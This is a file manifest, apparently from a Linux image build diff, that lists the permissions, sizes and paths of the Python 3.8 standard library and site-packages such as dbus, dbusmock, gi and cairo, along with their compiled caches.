+-rw-r--r-- root root 7097 ./usr/lib/python3.8/rlcompleter.py
+-rw-r--r-- root root 11973 ./usr/lib/python3.8/runpy.py
+-rw-r--r-- root root 18561 ./usr/lib/python3.8/selectors.py
+-rw-r--r-- root root 8527 ./usr/lib/python3.8/shelve.py
+-rw-r--r-- root root 13325 ./usr/lib/python3.8/shlex.py
+-rw-r--r-- root root 50752 ./usr/lib/python3.8/shutil.py
+-rw-r--r-- root root 2273 ./usr/lib/python3.8/signal.py
+-rw-r--r-- root root 3115 ./usr/lib/python3.8/_sitebuiltins.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/btrfsutil-1.1.1-py3.8.egg-info
+-rw-r--r-- root root 1 ./usr/lib/python3.8/site-packages/btrfsutil-1.1.1-py3.8.egg-info/dependency_links.txt
+-rw-r--r-- root root 242 ./usr/lib/python3.8/site-packages/btrfsutil-1.1.1-py3.8.egg-info/PKG-INFO
+-rw-r--r-- root root 203 ./usr/lib/python3.8/site-packages/btrfsutil-1.1.1-py3.8.egg-info/SOURCES.txt
+-rw-r--r-- root root 10 ./usr/lib/python3.8/site-packages/btrfsutil-1.1.1-py3.8.egg-info/top_level.txt
+-rwxr-xr-x root root 45936 ./usr/lib/python3.8/site-packages/btrfsutil.cpython-38-x86_64-linux-gnu.so
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/cairo
+-rwxr-xr-x root root 220616 ./usr/lib/python3.8/site-packages/cairo/_cairo.cpython-38-x86_64-linux-gnu.so
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/cairo/include
+-rw-r--r-- root root 9152 ./usr/lib/python3.8/site-packages/cairo/include/py3cairo.h
+-rwxr-xr-x root root 660 ./usr/lib/python3.8/site-packages/cairo/__init__.py
+-rw-r--r-- root root 33334 ./usr/lib/python3.8/site-packages/cairo/__init__.pyi
+-rw-r--r-- root root 0 ./usr/lib/python3.8/site-packages/cairo/py.typed
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus
+-rwxr-xr-x root root 167752 ./usr/lib/python3.8/site-packages/_dbus_bindings.so
+-rw-r--r-- root root 17960 ./usr/lib/python3.8/site-packages/dbus/bus.py
+-rw-r--r-- root root 148 ./usr/lib/python3.8/site-packages/dbus/_compat.py
+-rw-r--r-- root root 27806 ./usr/lib/python3.8/site-packages/dbus/connection.py
+-rw-r--r-- root root 8837 ./usr/lib/python3.8/site-packages/dbus/_dbus.py
+-rw-r--r-- root root 15240 ./usr/lib/python3.8/site-packages/dbus/decorators.py
+-rw-r--r-- root root 4707 ./usr/lib/python3.8/site-packages/dbus/exceptions.py
+-rw-r--r-- root root 3409 ./usr/lib/python3.8/site-packages/dbus/_expat_introspect_parser.py
+-rw-r--r-- root root 3517 ./usr/lib/python3.8/site-packages/dbus/gi_service.py
+-rwxr-xr-x root root 22736 ./usr/lib/python3.8/site-packages/_dbus_glib_bindings.so
+-rw-r--r-- root root 2130 ./usr/lib/python3.8/site-packages/dbus/glib.py
+-rw-r--r-- root root 3756 ./usr/lib/python3.8/site-packages/dbus/__init__.py
+-rw-r--r-- root root 1864 ./usr/lib/python3.8/site-packages/dbus/lowlevel.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus/mainloop
+-rw-r--r-- root root 1806 ./usr/lib/python3.8/site-packages/dbus/mainloop/glib.py
+-rw-r--r-- root root 2369 ./usr/lib/python3.8/site-packages/dbus/mainloop/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__
+-rw-r--r-- root root 655 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/glib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 655 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/glib.cpython-38.pyc
+-rw-r--r-- root root 435 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 435 ./usr/lib/python3.8/site-packages/dbus/mainloop/__pycache__/__init__.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock
+-rw-r--r-- root root 856 ./usr/lib/python3.8/site-packages/dbusmock/__init__.py
+-rw-r--r-- root root 4533 ./usr/lib/python3.8/site-packages/dbusmock/__main__.py
+-rw-r--r-- root root 28848 ./usr/lib/python3.8/site-packages/dbusmock/mockobject.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__
+-rw-r--r-- root root 641 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 3142 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/__main__.cpython-38.pyc
+-rw-r--r-- root root 22372 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/mockobject.cpython-38.pyc
+-rw-r--r-- root root 7903 ./usr/lib/python3.8/site-packages/dbusmock/__pycache__/testcase.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock/templates
+-rw-r--r-- root root 16490 ./usr/lib/python3.8/site-packages/dbusmock/templates/bluez4.py
+-rw-r--r-- root root 10784 ./usr/lib/python3.8/site-packages/dbusmock/templates/bluez5-obex.py
+-rw-r--r-- root root 15264 ./usr/lib/python3.8/site-packages/dbusmock/templates/bluez5.py
+-rw-r--r-- root root 1250 ./usr/lib/python3.8/site-packages/dbusmock/templates/gnome_screensaver.py
+-rw-r--r-- root root 382 ./usr/lib/python3.8/site-packages/dbusmock/templates/__init__.py
+-rw-r--r-- root root 10765 ./usr/lib/python3.8/site-packages/dbusmock/templates/logind.py
+-rw-r--r-- root root 1139 ./usr/lib/python3.8/site-packages/dbusmock/templates/low_memory_monitor.py
+-rw-r--r-- root root 34680 ./usr/lib/python3.8/site-packages/dbusmock/templates/networkmanager.py
+-rw-r--r-- root root 1777 ./usr/lib/python3.8/site-packages/dbusmock/templates/notification_daemon.py
+-rw-r--r-- root root 18046 ./usr/lib/python3.8/site-packages/dbusmock/templates/ofono.py
+-rw-r--r-- root root 2089 ./usr/lib/python3.8/site-packages/dbusmock/templates/polkitd.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__
+-rw-r--r-- root root 10255 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/bluez4.cpython-38.pyc
+-rw-r--r-- root root 9287 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/bluez5.cpython-38.pyc
+-rw-r--r-- root root 7996 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/bluez5-obex.cpython-38.pyc
+-rw-r--r-- root root 1052 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/gnome_screensaver.cpython-38.pyc
+-rw-r--r-- root root 206 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 6563 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/logind.cpython-38.pyc
+-rw-r--r-- root root 1111 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/low_memory_monitor.cpython-38.pyc
+-rw-r--r-- root root 23374 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/networkmanager.cpython-38.pyc
+-rw-r--r-- root root 1419 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/notification_daemon.cpython-38.pyc
+-rw-r--r-- root root 9250 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/ofono.cpython-38.pyc
+-rw-r--r-- root root 1890 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/polkitd.cpython-38.pyc
+-rw-r--r-- root root 1342 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/timedated.cpython-38.pyc
+-rw-r--r-- root root 6843 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/upower.cpython-38.pyc
+-rw-r--r-- root root 2520 ./usr/lib/python3.8/site-packages/dbusmock/templates/__pycache__/urfkill.cpython-38.pyc
+-rw-r--r-- root root 1796 ./usr/lib/python3.8/site-packages/dbusmock/templates/timedated.py
+-rw-r--r-- root root 10801 ./usr/lib/python3.8/site-packages/dbusmock/templates/upower.py
+-rw-r--r-- root root 3709 ./usr/lib/python3.8/site-packages/dbusmock/templates/urfkill.py
+-rw-r--r-- root root 9445 ./usr/lib/python3.8/site-packages/dbusmock/testcase.py
+-rw-r--r-- root root 24821 ./usr/lib/python3.8/site-packages/dbus/proxies.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/dbus/__pycache__
+-rw-r--r-- root root 13609 ./usr/lib/python3.8/site-packages/dbus/__pycache__/bus.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13609 ./usr/lib/python3.8/site-packages/dbus/__pycache__/bus.cpython-38.pyc
+-rw-r--r-- root root 218 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_compat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 218 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_compat.cpython-38.pyc
+-rw-r--r-- root root 17806 ./usr/lib/python3.8/site-packages/dbus/__pycache__/connection.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17806 ./usr/lib/python3.8/site-packages/dbus/__pycache__/connection.cpython-38.pyc
+-rw-r--r-- root root 7385 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_dbus.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7385 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_dbus.cpython-38.pyc
+-rw-r--r-- root root 11569 ./usr/lib/python3.8/site-packages/dbus/__pycache__/decorators.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11569 ./usr/lib/python3.8/site-packages/dbus/__pycache__/decorators.cpython-38.pyc
+-rw-r--r-- root root 3916 ./usr/lib/python3.8/site-packages/dbus/__pycache__/exceptions.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3916 ./usr/lib/python3.8/site-packages/dbus/__pycache__/exceptions.cpython-38.pyc
+-rw-r--r-- root root 2206 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_expat_introspect_parser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2206 ./usr/lib/python3.8/site-packages/dbus/__pycache__/_expat_introspect_parser.cpython-38.pyc
+-rw-r--r-- root root 1954 ./usr/lib/python3.8/site-packages/dbus/__pycache__/gi_service.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1954 ./usr/lib/python3.8/site-packages/dbus/__pycache__/gi_service.cpython-38.pyc
+-rw-r--r-- root root 1018 ./usr/lib/python3.8/site-packages/dbus/__pycache__/glib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1018 ./usr/lib/python3.8/site-packages/dbus/__pycache__/glib.cpython-38.pyc
+-rw-r--r-- root root 2185 ./usr/lib/python3.8/site-packages/dbus/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2185 ./usr/lib/python3.8/site-packages/dbus/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 677 ./usr/lib/python3.8/site-packages/dbus/__pycache__/lowlevel.cpython-38.opt-1.pyc
+-rw-r--r-- root root 677 ./usr/lib/python3.8/site-packages/dbus/__pycache__/lowlevel.cpython-38.pyc
+-rw-r--r-- root root 17730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/proxies.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/proxies.cpython-38.pyc
+-rw-r--r-- root root 3462 ./usr/lib/python3.8/site-packages/dbus/__pycache__/server.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3462 ./usr/lib/python3.8/site-packages/dbus/__pycache__/server.cpython-38.pyc
+-rw-r--r-- root root 22086 ./usr/lib/python3.8/site-packages/dbus/__pycache__/service.cpython-38.opt-1.pyc
+-rw-r--r-- root root 22086 ./usr/lib/python3.8/site-packages/dbus/__pycache__/service.cpython-38.pyc
+-rw-r--r-- root root 730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/types.cpython-38.opt-1.pyc
+-rw-r--r-- root root 730 ./usr/lib/python3.8/site-packages/dbus/__pycache__/types.cpython-38.pyc
+-rw-r--r-- root root 4657 ./usr/lib/python3.8/site-packages/dbus/server.py
+-rw-r--r-- root root 35473 ./usr/lib/python3.8/site-packages/dbus/service.py
+-rw-r--r-- root root 561 ./usr/lib/python3.8/site-packages/dbus/types.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/gi
+-rw-r--r-- root root 1493 ./usr/lib/python3.8/site-packages/gi/_compat.py
+-rw-r--r-- root root 1969 ./usr/lib/python3.8/site-packages/gi/_constants.py
+-rw-r--r-- root root 6688 ./usr/lib/python3.8/site-packages/gi/docstring.py
+-rw-r--r-- root root 2082 ./usr/lib/python3.8/site-packages/gi/_error.py
+-rwxr-xr-x root root 22488 ./usr/lib/python3.8/site-packages/gi/_gi_cairo.cpython-38-x86_64-linux-gnu.so
+-rwxr-xr-x root root 344488 ./usr/lib/python3.8/site-packages/gi/_gi.cpython-38-x86_64-linux-gnu.so
+-rw-r--r-- root root 7835 ./usr/lib/python3.8/site-packages/gi/_gtktemplate.py
+-rw-r--r-- root root 5280 ./usr/lib/python3.8/site-packages/gi/importer.py
+-rw-r--r-- root root 5894 ./usr/lib/python3.8/site-packages/gi/__init__.py
+-rw-r--r-- root root 9705 ./usr/lib/python3.8/site-packages/gi/module.py
+-rw-r--r-- root root 13192 ./usr/lib/python3.8/site-packages/gi/_option.py
+-rw-r--r-- root root 8083 ./usr/lib/python3.8/site-packages/gi/_ossighelper.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/gi/overrides
+-rw-r--r-- root root 1724 ./usr/lib/python3.8/site-packages/gi/overrides/GdkPixbuf.py
+-rw-r--r-- root root 16239 ./usr/lib/python3.8/site-packages/gi/overrides/Gdk.py
+-rw-r--r-- root root 2242 ./usr/lib/python3.8/site-packages/gi/overrides/GIMarshallingTests.py
+-rw-r--r-- root root 19033 ./usr/lib/python3.8/site-packages/gi/overrides/Gio.py
+-rw-r--r-- root root 29897 ./usr/lib/python3.8/site-packages/gi/overrides/GLib.py
+-rw-r--r-- root root 24640 ./usr/lib/python3.8/site-packages/gi/overrides/GObject.py
+-rw-r--r-- root root 59083 ./usr/lib/python3.8/site-packages/gi/overrides/Gtk.py
+-rw-r--r-- root root 12590 ./usr/lib/python3.8/site-packages/gi/overrides/__init__.py
+-rw-r--r-- root root 1705 ./usr/lib/python3.8/site-packages/gi/overrides/keysyms.py
+-rw-r--r-- root root 1774 ./usr/lib/python3.8/site-packages/gi/overrides/Pango.py
+-rw-r--r-- root root 14331 ./usr/lib/python3.8/site-packages/gi/_propertyhelper.py
+-rw-r--r-- root root 766 ./usr/lib/python3.8/site-packages/gi/pygtkcompat.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/gi/repository
+-rw-r--r-- root root 1042 ./usr/lib/python3.8/site-packages/gi/repository/__init__.py
+-rw-r--r-- root root 9303 ./usr/lib/python3.8/site-packages/gi/_signalhelper.py
+-rw-r--r-- root root 14330 ./usr/lib/python3.8/site-packages/gi/types.py
+-rw-r--r-- root root 1024 ./usr/lib/python3.8/site-packages/pycairo-1.19.0.egg-info
+-rw-r--r-- root root 810 ./usr/lib/python3.8/site-packages/PyGObject-3.34.0.egg-info
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/pygtkcompat
+-rw-r--r-- root root 14200 ./usr/lib/python3.8/site-packages/pygtkcompat/generictreemodel.py
+-rw-r--r-- root root 547 ./usr/lib/python3.8/site-packages/pygtkcompat/__init__.py
+-rw-r--r-- root root 20890 ./usr/lib/python3.8/site-packages/pygtkcompat/pygtkcompat.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info
+-rw-r--r-- root root 1 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/dependency_links.txt
+-rw-r--r-- root root 14631 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/PKG-INFO
+-rw-r--r-- root root 1137 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/SOURCES.txt
+-rw-r--r-- root root 9 ./usr/lib/python3.8/site-packages/python_dbusmock-0.19-py3.8.egg-info/top_level.txt
+-rw-r--r-- root root 21342 ./usr/lib/python3.8/site.py
+-rwxr-xr-x root root 44328 ./usr/lib/python3.8/smtplib.py
+-rw-r--r-- root root 35243 ./usr/lib/python3.8/socket.py
+-rw-r--r-- root root 26695 ./usr/lib/python3.8/sre_compile.py
+-rw-r--r-- root root 7154 ./usr/lib/python3.8/sre_constants.py
+-rw-r--r-- root root 40230 ./usr/lib/python3.8/sre_parse.py
+-rw-r--r-- root root 50760 ./usr/lib/python3.8/ssl.py
+-rw-r--r-- root root 5485 ./usr/lib/python3.8/stat.py
+-rw-r--r-- root root 12917 ./usr/lib/python3.8/stringprep.py
+-rw-r--r-- root root 10535 ./usr/lib/python3.8/string.py
+-rw-r--r-- root root 25268 ./usr/lib/python3.8/_strptime.py
+-rw-r--r-- root root 257 ./usr/lib/python3.8/struct.py
+-rw-r--r-- root root 77289 ./usr/lib/python3.8/subprocess.py
+-rw-r--r-- root root 2109 ./usr/lib/python3.8/symbol.py
+-rw-r--r-- root root 26663 ./usr/lib/python3.8/_sysconfigdata__linux_x86_64-linux-gnu.py
+-rw-r--r-- root root 24339 ./usr/lib/python3.8/sysconfig.py
+-rwxr-xr-x root root 93575 ./usr/lib/python3.8/tarfile.py
+-rw-r--r-- root root 23254 ./usr/lib/python3.8/telnetlib.py
+-rw-r--r-- root root 27588 ./usr/lib/python3.8/tempfile.py
+-rw-r--r-- root root 19407 ./usr/lib/python3.8/textwrap.py
+-rw-r--r-- root root 7220 ./usr/lib/python3.8/_threading_local.py
+-rw-r--r-- root root 50585 ./usr/lib/python3.8/threading.py
+-rw-r--r-- root root 25841 ./usr/lib/python3.8/tokenize.py
+-rw-r--r-- root root 2368 ./usr/lib/python3.8/token.py
+-rw-r--r-- root root 23479 ./usr/lib/python3.8/traceback.py
+-rw-r--r-- root root 9713 ./usr/lib/python3.8/types.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/urllib
+-rw-r--r-- root root 2632 ./usr/lib/python3.8/urllib/error.py
+-rw-r--r-- root root 0 ./usr/lib/python3.8/urllib/__init__.py
+-rw-r--r-- root root 41583 ./usr/lib/python3.8/urllib/parse.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/urllib/__pycache__
+-rw-r--r-- root root 2802 ./usr/lib/python3.8/urllib/__pycache__/error.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2127 ./usr/lib/python3.8/urllib/__pycache__/error.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2802 ./usr/lib/python3.8/urllib/__pycache__/error.cpython-38.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/urllib/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/urllib/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/urllib/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 33925 ./usr/lib/python3.8/urllib/__pycache__/parse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 24489 ./usr/lib/python3.8/urllib/__pycache__/parse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33925 ./usr/lib/python3.8/urllib/__pycache__/parse.cpython-38.pyc
+-rw-r--r-- root root 72410 ./usr/lib/python3.8/urllib/__pycache__/request.cpython-38.opt-1.pyc
+-rw-r--r-- root root 60117 ./usr/lib/python3.8/urllib/__pycache__/request.cpython-38.opt-2.pyc
+-rw-r--r-- root root 72524 ./usr/lib/python3.8/urllib/__pycache__/request.cpython-38.pyc
+-rw-r--r-- root root 3282 ./usr/lib/python3.8/urllib/__pycache__/response.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2703 ./usr/lib/python3.8/urllib/__pycache__/response.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3282 ./usr/lib/python3.8/urllib/__pycache__/response.cpython-38.pyc
+-rw-r--r-- root root 7320 ./usr/lib/python3.8/urllib/__pycache__/robotparser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5952 ./usr/lib/python3.8/urllib/__pycache__/robotparser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7320 ./usr/lib/python3.8/urllib/__pycache__/robotparser.cpython-38.pyc
+-rw-r--r-- root root 101308 ./usr/lib/python3.8/urllib/request.py
+-rw-r--r-- root root 2299 ./usr/lib/python3.8/urllib/response.py
+-rw-r--r-- root root 9424 ./usr/lib/python3.8/urllib/robotparser.py
+-rw-r--r-- root root 30394 ./usr/lib/python3.8/uuid.py
+-rwxr-xr-x root root 6959 ./usr/lib/python3.8/uu.py
+-rw-r--r-- root root 19688 ./usr/lib/python3.8/warnings.py
+-rw-r--r-- root root 21387 ./usr/lib/python3.8/weakref.py
+-rw-r--r-- root root 5735 ./usr/lib/python3.8/_weakrefset.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/dom
+-rw-r--r-- root root 3451 ./usr/lib/python3.8/xml/dom/domreg.py
+-rw-r--r-- root root 35756 ./usr/lib/python3.8/xml/dom/expatbuilder.py
+-rw-r--r-- root root 4019 ./usr/lib/python3.8/xml/dom/__init__.py
+-rw-r--r-- root root 3367 ./usr/lib/python3.8/xml/dom/minicompat.py
+-rw-r--r-- root root 66857 ./usr/lib/python3.8/xml/dom/minidom.py
+-rw-r--r-- root root 936 ./usr/lib/python3.8/xml/dom/NodeFilter.py
+-rw-r--r-- root root 11997 ./usr/lib/python3.8/xml/dom/pulldom.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/dom/__pycache__
+-rw-r--r-- root root 2842 ./usr/lib/python3.8/xml/dom/__pycache__/domreg.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1640 ./usr/lib/python3.8/xml/dom/__pycache__/domreg.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2842 ./usr/lib/python3.8/xml/dom/__pycache__/domreg.cpython-38.pyc
+-rw-r--r-- root root 26798 ./usr/lib/python3.8/xml/dom/__pycache__/expatbuilder.cpython-38.opt-1.pyc
+-rw-r--r-- root root 24193 ./usr/lib/python3.8/xml/dom/__pycache__/expatbuilder.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27333 ./usr/lib/python3.8/xml/dom/__pycache__/expatbuilder.cpython-38.pyc
+-rw-r--r-- root root 5522 ./usr/lib/python3.8/xml/dom/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4727 ./usr/lib/python3.8/xml/dom/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5522 ./usr/lib/python3.8/xml/dom/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 2642 ./usr/lib/python3.8/xml/dom/__pycache__/minicompat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2464 ./usr/lib/python3.8/xml/dom/__pycache__/minicompat.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2734 ./usr/lib/python3.8/xml/dom/__pycache__/minicompat.cpython-38.pyc
+-rw-r--r-- root root 55264 ./usr/lib/python3.8/xml/dom/__pycache__/minidom.cpython-38.opt-1.pyc
+-rw-r--r-- root root 53693 ./usr/lib/python3.8/xml/dom/__pycache__/minidom.cpython-38.opt-2.pyc
+-rw-r--r-- root root 55366 ./usr/lib/python3.8/xml/dom/__pycache__/minidom.cpython-38.pyc
+-rw-r--r-- root root 959 ./usr/lib/python3.8/xml/dom/__pycache__/NodeFilter.cpython-38.opt-1.pyc
+-rw-r--r-- root root 866 ./usr/lib/python3.8/xml/dom/__pycache__/NodeFilter.cpython-38.opt-2.pyc
+-rw-r--r-- root root 959 ./usr/lib/python3.8/xml/dom/__pycache__/NodeFilter.cpython-38.pyc
+-rw-r--r-- root root 10683 ./usr/lib/python3.8/xml/dom/__pycache__/pulldom.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10247 ./usr/lib/python3.8/xml/dom/__pycache__/pulldom.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10683 ./usr/lib/python3.8/xml/dom/__pycache__/pulldom.cpython-38.pyc
+-rw-r--r-- root root 12456 ./usr/lib/python3.8/xml/dom/__pycache__/xmlbuilder.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12027 ./usr/lib/python3.8/xml/dom/__pycache__/xmlbuilder.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12486 ./usr/lib/python3.8/xml/dom/__pycache__/xmlbuilder.cpython-38.pyc
+-rw-r--r-- root root 12403 ./usr/lib/python3.8/xml/dom/xmlbuilder.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/etree
+-rw-r--r-- root root 82 ./usr/lib/python3.8/xml/etree/cElementTree.py
+-rw-r--r-- root root 5151 ./usr/lib/python3.8/xml/etree/ElementInclude.py
+-rw-r--r-- root root 13118 ./usr/lib/python3.8/xml/etree/ElementPath.py
+-rw-r--r-- root root 72728 ./usr/lib/python3.8/xml/etree/ElementTree.py
+-rw-r--r-- root root 1604 ./usr/lib/python3.8/xml/etree/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/etree/__pycache__
+-rw-r--r-- root root 163 ./usr/lib/python3.8/xml/etree/__pycache__/cElementTree.cpython-38.opt-1.pyc
+-rw-r--r-- root root 163 ./usr/lib/python3.8/xml/etree/__pycache__/cElementTree.cpython-38.opt-2.pyc
+-rw-r--r-- root root 163 ./usr/lib/python3.8/xml/etree/__pycache__/cElementTree.cpython-38.pyc
+-rw-r--r-- root root 1569 ./usr/lib/python3.8/xml/etree/__pycache__/ElementInclude.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1569 ./usr/lib/python3.8/xml/etree/__pycache__/ElementInclude.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1569 ./usr/lib/python3.8/xml/etree/__pycache__/ElementInclude.cpython-38.pyc
+-rw-r--r-- root root 8424 ./usr/lib/python3.8/xml/etree/__pycache__/ElementPath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8424 ./usr/lib/python3.8/xml/etree/__pycache__/ElementPath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8424 ./usr/lib/python3.8/xml/etree/__pycache__/ElementPath.cpython-38.pyc
+-rw-r--r-- root root 55288 ./usr/lib/python3.8/xml/etree/__pycache__/ElementTree.cpython-38.opt-1.pyc
+-rw-r--r-- root root 36891 ./usr/lib/python3.8/xml/etree/__pycache__/ElementTree.cpython-38.opt-2.pyc
+-rw-r--r-- root root 55602 ./usr/lib/python3.8/xml/etree/__pycache__/ElementTree.cpython-38.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/xml/etree/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/xml/etree/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/xml/etree/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 557 ./usr/lib/python3.8/xml/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/parsers
+-rw-r--r-- root root 248 ./usr/lib/python3.8/xml/parsers/expat.py
+-rw-r--r-- root root 167 ./usr/lib/python3.8/xml/parsers/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/parsers/__pycache__
+-rw-r--r-- root root 322 ./usr/lib/python3.8/xml/parsers/__pycache__/expat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 256 ./usr/lib/python3.8/xml/parsers/__pycache__/expat.cpython-38.opt-2.pyc
+-rw-r--r-- root root 322 ./usr/lib/python3.8/xml/parsers/__pycache__/expat.cpython-38.pyc
+-rw-r--r-- root root 293 ./usr/lib/python3.8/xml/parsers/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 121 ./usr/lib/python3.8/xml/parsers/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 293 ./usr/lib/python3.8/xml/parsers/__pycache__/__init__.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/__pycache__
+-rw-r--r-- root root 688 ./usr/lib/python3.8/xml/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 165 ./usr/lib/python3.8/xml/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 688 ./usr/lib/python3.8/xml/__pycache__/__init__.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/sax
+-rw-r--r-- root root 4785 ./usr/lib/python3.8/xml/sax/_exceptions.py
+-rw-r--r-- root root 15704 ./usr/lib/python3.8/xml/sax/expatreader.py
+-rw-r--r-- root root 13922 ./usr/lib/python3.8/xml/sax/handler.py
+-rw-r--r-- root root 3647 ./usr/lib/python3.8/xml/sax/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/sax/__pycache__
+-rw-r--r-- root root 5436 ./usr/lib/python3.8/xml/sax/__pycache__/_exceptions.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2833 ./usr/lib/python3.8/xml/sax/__pycache__/_exceptions.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5436 ./usr/lib/python3.8/xml/sax/__pycache__/_exceptions.cpython-38.pyc
